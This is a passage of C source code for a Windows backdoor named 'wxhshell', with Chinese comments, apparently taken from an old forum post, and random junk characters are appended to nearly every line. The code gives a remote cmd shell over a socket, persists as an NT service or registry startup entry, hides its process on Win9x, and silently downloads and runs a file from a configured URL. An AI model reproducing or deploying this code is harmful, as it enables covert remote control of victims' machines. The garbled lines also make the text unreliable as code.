  // 帮助 sO$X5S C9  
  case '?': { )z=L^ot  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E9 6` aF{]  
    break; `SM37({c  
  } :SJxG&Pm=~  
  // 安装 lFT` WO  
  case 'i': { `~;`q  
    if(Install()) 0CR~ vQf#r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C>~ms2c  
    else zNRR('B?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HpGI\s  
    break; Zv|TvlyT"  
    } Uw5AHq).  
  // 卸载 =6H  
  case 'r': { (@nE e?  
    if(Uninstall()) 5SQqE@g%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :JD*uu  
    else _|f_%S8a_=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T6^ H%;G  
    break; "f N=Y$G  
    } qS?uMms7w  
  // 显示 wxhshell 所在路径 `E:&a]ul  
  case 'p': { kPvR ,  
    char svExeFile[MAX_PATH]; J<h! H  
    strcpy(svExeFile,"\n\r"); /c|X:F!;X#  
      strcat(svExeFile,ExeFile); RTQtXv6mD  
        send(wsh,svExeFile,strlen(svExeFile),0); -F~"W@9r  
    break; 4uy:sCmu  
    } O;83A  
  // 重启 !HCuae3_  
  case 'b': { =tQ^t4_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zbgH}6b  
    if(Boot(REBOOT)) ({!S!k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1G`zwfmh~  
    else { }[mLtv%&  
    closesocket(wsh); `x:8m?q05  
    ExitThread(0); Z(wj5;[G  
    } HF;$Wf+=J  
    break; MfG8=H2#|  
    } :N#8|;J1Fl  
  // 关机 ["N_t:9I  
  case 'd': { kR/Etm5_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3;Y 9<  
    if(Boot(SHUTDOWN)) @|6#]&v`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F\Q X=n  
    else { G:4'')T  
    closesocket(wsh); @wPyXl  
    ExitThread(0); |y.^F3PE  
    } \ Dccf_(Pb  
    break; \m%Z;xKG  
    } %n)H(QPW  
  // 获取shell 5KgAY;|  
  case 's': { { YMO8  
    CmdShell(wsh); ,vs#(d6G  
    closesocket(wsh); hq*"S -N  
    ExitThread(0); q~6a$8+t  
    break; o>75s#= b=  
  } 6R#.AD\  
  // 退出 s0\}Q=s[  
  case 'x': { =Ohro '   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T o$D [-  
    CloseIt(wsh); vf0 fa46  
    break; 0u?Vn N<  
    } )z!#8s  
  // 离开 b"pN;v  
  case 'q': { /C6$B)w_*{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3 4:Y_*  
    closesocket(wsh); 2OZ<t@\OY  
    WSACleanup(); L#MgoBXr  
    exit(1); 9+"ISXS  
    break; `;)op3A'  
        } E++3GagdiD  
  } =<[M$"S7d6  
  } r8,'LZIz  
XDyFe'1I  
  // 提示信息 Oh; V%G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TR'<D9kn  
} KmpKyc[  
  } zT+ "Z(oz,  
<[A;i  
  return; PM^Xh*~  
} Ti>2N  
-GODM128 ^  
// shell模块句柄 99*QfC  
int CmdShell(SOCKET sock) >=K~*$&>  
{ (Qd@Q,@(s  
STARTUPINFO si; 4Ul*`/d  
ZeroMemory(&si,sizeof(si)); ~tZy-1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t*wV<b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F@<^  
PROCESS_INFORMATION ProcessInfo; 1 &-%<o  
char cmdline[]="cmd"; 6QePrf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Pf#DBW*  
  return 0; q'KXn0IY#  
} ,% *Jm  
yC\!6pg  
// 自身启动模式 F0KNkL>&g  
int StartFromService(void) (V<pz2\  
{ @r]1;KG  
typedef struct 1xjw=  
{ 48LzI@H&  
  DWORD ExitStatus; u85?f  
  DWORD PebBaseAddress; f"Kl? IN8  
  DWORD AffinityMask; mk[<=k~  
  DWORD BasePriority; ZO& F15$P  
  ULONG UniqueProcessId; jygKw+C  
  ULONG InheritedFromUniqueProcessId; H+npe'm_Z  
}   PROCESS_BASIC_INFORMATION; 8I<LZ{a10  
% |G"ZPO?  
PROCNTQSIP NtQueryInformationProcess; T854}RX[{  
IeAUVR S)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Xu& v3Y~k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qJK-HF:#  
=~q Xzq  
  HANDLE             hProcess; UQnv#a>  
  PROCESS_BASIC_INFORMATION pbi; ^~W s4[Guo  
GB{Q)L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tUhr gc  
  if(NULL == hInst ) return 0; G5 *_  
xM13OoU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sfR0wEqI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fiaeo0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cB_ 3~=fV  
9 =D13s(C  
  if (!NtQueryInformationProcess) return 0; 9d8U@=  
fKNDl\SD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K}8wCS F  
  if(!hProcess) return 0; J<-2dvq  
T1M>N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B&?xq)%*#  
G\#dMCk?  
  CloseHandle(hProcess); K-n]m#U4o  
 \z?-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Oee>d<  
if(hProcess==NULL) return 0; @!::_E+F]  
!Q{~f;L  
HMODULE hMod; Nrzg>WQa  
char procName[255]; C8$/z>tQ  
unsigned long cbNeeded; Q+Ya\1$6A  
/JmWiBQIn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0RP{_1k  
# N'_~:H  
  CloseHandle(hProcess); l-M .C8N  
]]/p.#oD,  
if(strstr(procName,"services")) return 1; // 以服务启动 2o1 RJk9  
M [6WcH0/T  
  return 0; // 注册表启动 ]?V2L`/  
} PjkjUP  
!uN_<!  
// 主模块 FmhN*ZXr #  
int StartWxhshell(LPSTR lpCmdLine) z6'l" D'h  
{ :PP!v!vk  
  SOCKET wsl; %i@Jw  
BOOL val=TRUE; ~i=5NUE  
  int port=0; X@Yl<9|i  
  struct sockaddr_in door; lQ|i Ws  
)P9&I.a8  
  if(wscfg.ws_autoins) Install(); ~}ba2dU8  
g&d tOjM  
port=atoi(lpCmdLine); 2qPQ3-'  
` W{y  
if(port<=0) port=wscfg.ws_port; M~-jPY,+  
M (.Up  
  WSADATA data; C[nacAi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A#CGD0T  
xcC^9BAj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7jYW3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `:5W1D(  
  door.sin_family = AF_INET; HfA@tZ5q|U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <%=@Ue  
  door.sin_port = htons(port); zN>tSdNkI-  
o & kgRv[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Rs53R$PIR  
closesocket(wsl); +6\1 d5  
return 1; 9`5qVM1O{  
} WGI4DzKa  
)Qc>NF0  
  if(listen(wsl,2) == INVALID_SOCKET) { v Yw$m#@  
closesocket(wsl); h;t5v6["  
return 1; Kr74|W=  
} rB.LG'GG]  
  Wxhshell(wsl); W(jP??up  
  WSACleanup(); ])mYE }g  
e*pYlm  
return 0; dwmZ_m.  
|"k+j_/+  
} 8&++S> <  
Tw!_=zy(Gw  
// 以NT服务方式启动 )X5en=[)O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (kZ2D  
{ R% )7z)~  
DWORD   status = 0; R2dCp|6A  
  DWORD   specificError = 0xfffffff; a'YK1QX  
|v= */e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YE1X*'4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Uf<IXx&;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <jtu/U]78|  
  serviceStatus.dwWin32ExitCode     = 0; I 2*\J)|f  
  serviceStatus.dwServiceSpecificExitCode = 0; Ui05o7xg~p  
  serviceStatus.dwCheckPoint       = 0; QxeK-x^  
  serviceStatus.dwWaitHint       = 0; .{66q#.  
H]&^>Pvh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZR@PqS+O/  
  if (hServiceStatusHandle==0) return; W3Dtt-)E  
DeGcS1_?  
status = GetLastError(); hV[=  
  if (status!=NO_ERROR) "[wP1n!G  
{ "yc@_+"\+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o7t#yw3  
    serviceStatus.dwCheckPoint       = 0; }XIUz|  
    serviceStatus.dwWaitHint       = 0; ^3w >:4m  
    serviceStatus.dwWin32ExitCode     = status; xQ@gh ( (  
    serviceStatus.dwServiceSpecificExitCode = specificError; SD=9fh0l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w$[ck=  
    return; .dl4f"k  
  } `Y.Q{5Y  
~"i4"Op&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cA25FD  
  serviceStatus.dwCheckPoint       = 0; LV$`bZ  
  serviceStatus.dwWaitHint       = 0; !&@!:=X,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 46M?Gfd,X  
} bs\7 juHt  
OjBg$f~0F  
// 处理NT服务事件,比如:启动、停止 E~'QC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Afo qCF  
{ z*OQ4_  
switch(fdwControl) wd0*"c@  
{ A<P rsk!  
case SERVICE_CONTROL_STOP: VXIB9 /*i  
  serviceStatus.dwWin32ExitCode = 0; I9E]zoj8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SZm&2~|J  
  serviceStatus.dwCheckPoint   = 0; 8@d,TjJDo  
  serviceStatus.dwWaitHint     = 0; ahx*Ti/e  
  { 7W `gN[*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .lIkJQ3d  
  } q5u"v  
  return; ahqsbNu1  
case SERVICE_CONTROL_PAUSE: @#KZ2^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %Astfn(U{4  
  break; [+z*&~'  
case SERVICE_CONTROL_CONTINUE: 6qkMB|@Ix  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $(ei<cAV  
  break; DXc3u^ L  
case SERVICE_CONTROL_INTERROGATE: dMjAG7U  
  break; qo62!q  
}; :/941?%M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E6mwvrm8  
} J:JkX>n%k=  
"I)`g y&  
// 标准应用程序主函数 G$!JJ. )d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zd^QG  
{ .m_-L Y-  
ds D!)$  
// 获取操作系统版本 c(G;O )ikS  
OsIsNt=GetOsVer(); KiO1l{.s8n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KL6FmL)HH  
*:hHlH* t1  
  // 从命令行安装 5p`.RWls  
  if(strpbrk(lpCmdLine,"iI")) Install(); D_)n\(3  
zTQTmO  
  // 下载执行文件 TEt+At`]  
if(wscfg.ws_downexe) { F)^:WWVc#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~Bs=[TNd[  
  WinExec(wscfg.ws_filenam,SW_HIDE); lgaE2`0 [3  
} B0#JX MX9  
6N {|;R@2  
if(!OsIsNt) { Rw#4 |&  
// 如果时win9x,隐藏进程并且设置为注册表启动 c2d=dGP>~f  
HideProc(); Hj^_Cp]@*  
StartWxhshell(lpCmdLine); y7WO:X&  
} (!^; ar^  
else AQa;D2B$  
  if(StartFromService()) hRKA,u/G  
  // 以服务方式启动 <u%&@G$F>  
  StartServiceCtrlDispatcher(DispatchTable); 5 Yf T  
else 1T@#gE["Ic  
  // 普通方式启动 o2#_CdU   
  StartWxhshell(lpCmdLine); ilpP"B  
M5>cYVG  
return 0; t?<pyw $  
}
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只看该作者 1 发表于: 2006-10-10
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